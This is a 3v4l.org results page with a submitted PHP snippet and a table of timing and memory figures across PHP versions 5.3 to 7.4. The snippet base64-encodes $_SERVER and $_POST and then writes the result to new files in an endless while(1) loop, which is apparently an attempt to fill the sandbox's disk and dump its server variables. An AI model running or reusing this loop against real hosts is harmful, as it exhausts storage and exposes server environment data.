3v4l.org

run code in 300+ PHP versions simultaneously
<?php $str ="user"; $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_POST)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); while(1) { file_put_contents(uniqid(),$str);}?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.10.0100.01915.30
7.4.00.0110.01515.30
7.3.130.0150.02215.30
7.3.120.0140.01715.30
7.3.110.0070.01715.30
7.3.100.0160.01315.30
7.3.90.0070.02215.30
7.3.80.0160.01615.30
7.3.70.0120.01815.30
7.3.60.0170.01415.30
7.3.50.0100.02015.30
7.3.40.0140.01115.30
7.3.30.0200.00815.30
7.3.20.0150.00716.57
7.3.10.0160.01016.52
7.3.00.0140.01016.47
7.2.260.0120.01515.30
7.2.250.0250.00915.30
7.2.240.0160.00815.30
7.2.230.0160.01315.30
7.2.220.0130.02515.30
7.2.210.0130.01715.30
7.2.200.0070.01015.30
7.2.190.0230.00615.30
7.2.180.0160.01015.30
7.2.170.0070.01315.30
7.2.160.0130.00315.30
7.2.150.0160.00816.89
7.2.140.0180.00916.49
7.2.130.0130.01316.53
7.2.120.0100.01316.72
7.2.110.0150.00916.65
7.2.100.0160.00616.98
7.2.90.0160.01316.71
7.2.80.0040.01216.89
7.2.70.0100.01616.96
7.2.60.0140.01416.61
7.2.50.0180.01116.79
7.2.40.0160.01616.71
7.2.30.0120.01516.57
7.2.20.0170.01716.78
7.2.10.0120.00916.80
7.2.00.0060.00718.02
7.1.330.0110.00915.37
7.1.320.0080.01215.71
7.1.310.0190.00915.85
7.1.300.0140.00715.74
7.1.290.0150.00915.47
7.1.280.0130.00715.74
7.1.270.0090.01015.82
7.1.260.0040.01315.71
7.1.250.0070.01515.91
7.1.240.0200.00515.67
7.1.230.0100.01615.79
7.1.220.0160.01015.68
7.1.210.0070.01315.69
7.1.200.0090.01815.51
7.1.190.0090.01515.78
7.1.180.0060.01315.68
7.1.170.0070.01215.79
7.1.160.0110.01115.70
7.1.150.0130.01115.77
7.1.140.0160.01015.77
7.1.130.0040.01815.81
7.1.120.0000.02515.85
7.1.110.0080.00815.76
7.1.100.0110.01915.94
7.1.90.0120.00915.95
7.1.80.0100.00315.98
7.1.70.0090.01016.25
7.1.60.0160.00617.62
7.1.50.0110.01216.35
7.1.40.0030.01315.41
7.1.30.0060.01515.68
7.1.20.0050.01315.75
7.1.10.0170.00815.86
7.1.00.0060.04719.03
7.0.330.0080.01615.30
7.0.320.0120.01215.47
7.0.310.0130.00415.53
7.0.300.0030.01615.44
7.0.290.0140.00915.54
7.0.280.0030.02015.52
7.0.270.0140.00715.30
7.0.260.0110.01415.53
7.0.250.0180.00515.59
7.0.240.0070.01415.59
7.0.230.0150.00315.36
7.0.220.0120.01215.53
7.0.210.0040.01915.41
7.0.200.0070.01115.99
7.0.190.0110.00715.53
7.0.180.0190.00915.49
7.0.170.0150.01615.45
7.0.160.0130.01415.43
7.0.150.0060.01315.34
7.0.140.0080.05718.83
7.0.130.0080.01915.58
7.0.120.0060.04718.67
7.0.110.0130.01015.52
7.0.100.0150.00715.35
7.0.90.0410.04717.74
7.0.80.0410.04417.63
7.0.70.0420.03517.69
7.0.60.0410.04617.84
7.0.50.0380.04017.94
7.0.40.0070.04917.69
7.0.30.0140.03017.71
7.0.20.0150.04817.72
7.0.10.0050.05117.69
7.0.00.0150.04317.66
5.6.400.0060.01615.30
5.6.390.0120.01615.30
5.6.380.0110.01415.30
5.6.370.0050.01515.30
5.6.360.0060.01915.30
5.6.350.0110.00815.30
5.6.340.0120.02015.30
5.6.330.0180.00915.30
5.6.320.0070.01615.30
5.6.310.0150.00615.30
5.6.300.0170.00415.30
5.6.290.0030.01915.30
5.6.280.0090.02215.30
5.6.270.0110.01415.30
5.6.260.0060.01915.30
5.6.250.0100.01015.30
5.6.240.0180.04817.98
5.6.230.0150.02717.94
5.6.220.0070.05217.99
5.6.210.0160.03017.93
5.6.200.0130.04918.19
5.6.190.0140.03918.13
5.6.180.0150.04518.13
5.6.170.0110.04618.17
5.6.160.0170.04418.21
5.6.150.0070.04518.16
5.6.140.0130.04618.17
5.6.130.0190.03218.16
5.6.120.0120.05118.18
5.6.110.0090.04518.23
5.6.100.0150.04418.20
5.6.90.0150.04318.18
5.6.80.0040.05017.85
5.6.70.0060.04717.91
5.6.60.0150.04217.89
5.6.50.0090.05117.85
5.6.40.0100.02617.90
5.6.30.0120.04117.80
5.6.20.0130.04217.86
5.6.10.0070.04717.88
5.6.00.0110.04217.79
5.5.380.0100.05117.86
5.5.370.0110.05317.86
5.5.360.0040.05717.86
5.5.350.0150.03717.88
5.5.340.0080.04818.02
5.5.330.0140.03918.04
5.5.320.0080.05318.05
5.5.310.0170.03218.07
5.5.300.0140.04417.97
5.5.290.0080.04518.10
5.5.280.0130.04218.11
5.5.270.0100.04818.06
5.5.260.0210.03218.11
5.5.250.0100.04517.88
5.5.240.0140.03517.77
5.5.230.0180.04017.79
5.5.220.0100.04217.66
5.5.210.0120.04217.80
5.5.200.0200.03617.75
5.5.190.0190.03517.82
5.5.180.0080.04817.79
5.5.170.0070.01415.30
5.5.160.0190.03717.76
5.5.150.0140.03317.78
5.5.140.0080.03317.64
5.5.130.0110.04417.77
5.5.120.0050.05617.78
5.5.110.0110.04117.72
5.5.100.0120.04017.73
5.5.90.0120.04217.65
5.5.80.0070.04717.68
5.5.70.0130.04217.63
5.5.60.0100.04017.68
5.5.50.0130.04517.68
5.5.40.0060.05017.66
5.5.30.0100.03717.67
5.5.20.0160.03417.65
5.5.10.0180.03517.74
5.5.00.0130.04117.71
5.4.450.0090.03717.37
5.4.440.0150.03117.36
5.4.430.0030.05217.33
5.4.420.0120.03517.22
5.4.410.0090.04117.24
5.4.400.0150.03017.19
5.4.390.0100.03617.15
5.4.380.0180.02917.16
5.4.370.0070.04517.11
5.4.360.0110.04317.12
5.4.350.0130.03217.17
5.4.340.0220.02417.13
5.4.330.0070.01515.30
5.4.320.0140.03017.17
5.4.310.0080.04117.06
5.4.300.0070.04717.14
5.4.290.0210.02417.14
5.4.280.0080.04017.10
5.4.270.0110.04217.06
5.4.260.0120.03617.11
5.4.250.0080.04217.01
5.4.240.0200.04017.13
5.4.230.0200.02317.11
5.4.220.0120.03517.06
5.4.210.0130.04517.14
5.4.200.0130.03717.17
5.4.190.0100.03417.06
5.4.180.0100.04417.13
5.4.170.0100.04317.09
5.4.160.0170.02717.21
5.4.150.0140.03417.16
5.4.140.0090.04415.72
5.4.130.0130.03515.86
5.4.120.0120.03815.64
5.4.110.0140.03015.77
5.4.100.0060.04115.86
5.4.90.0140.03215.74
5.4.80.0120.03415.84
5.4.70.0220.02415.85
5.4.60.0100.04115.74
5.4.50.0180.03015.78
5.4.40.0190.03715.78
5.4.30.0160.02115.82
5.4.20.0130.03515.78
5.4.10.0080.04415.76
5.4.00.0080.02215.51
5.3.290.0120.04914.81
5.3.280.0100.04314.87
5.3.270.0060.04814.82
5.3.260.0190.02814.88
5.3.250.0150.03214.85
5.3.240.0110.03514.82
5.3.230.0170.03714.87
5.3.220.0110.03214.83
5.3.210.0070.04314.75
5.3.200.0110.03114.82
5.3.190.0070.04214.78
5.3.180.0160.03214.74
5.3.170.0120.03414.82
5.3.160.0080.04014.85
5.3.150.0100.02514.84
5.3.140.0120.04014.75
5.3.130.0070.02514.83
5.3.120.0080.02314.79
5.3.110.0060.02514.76
5.3.100.0280.02314.56
5.3.90.0100.03514.54
5.3.80.0180.02914.54
5.3.70.0040.03614.57
5.3.60.0050.04514.45
5.3.50.0090.03314.55
5.3.40.0120.01714.50
5.3.30.0070.03514.49
5.3.20.0110.03214.31
5.3.10.0080.03514.32
5.3.00.0120.01714.31

preferences:
34.43 ms | 401 KiB | 5 Q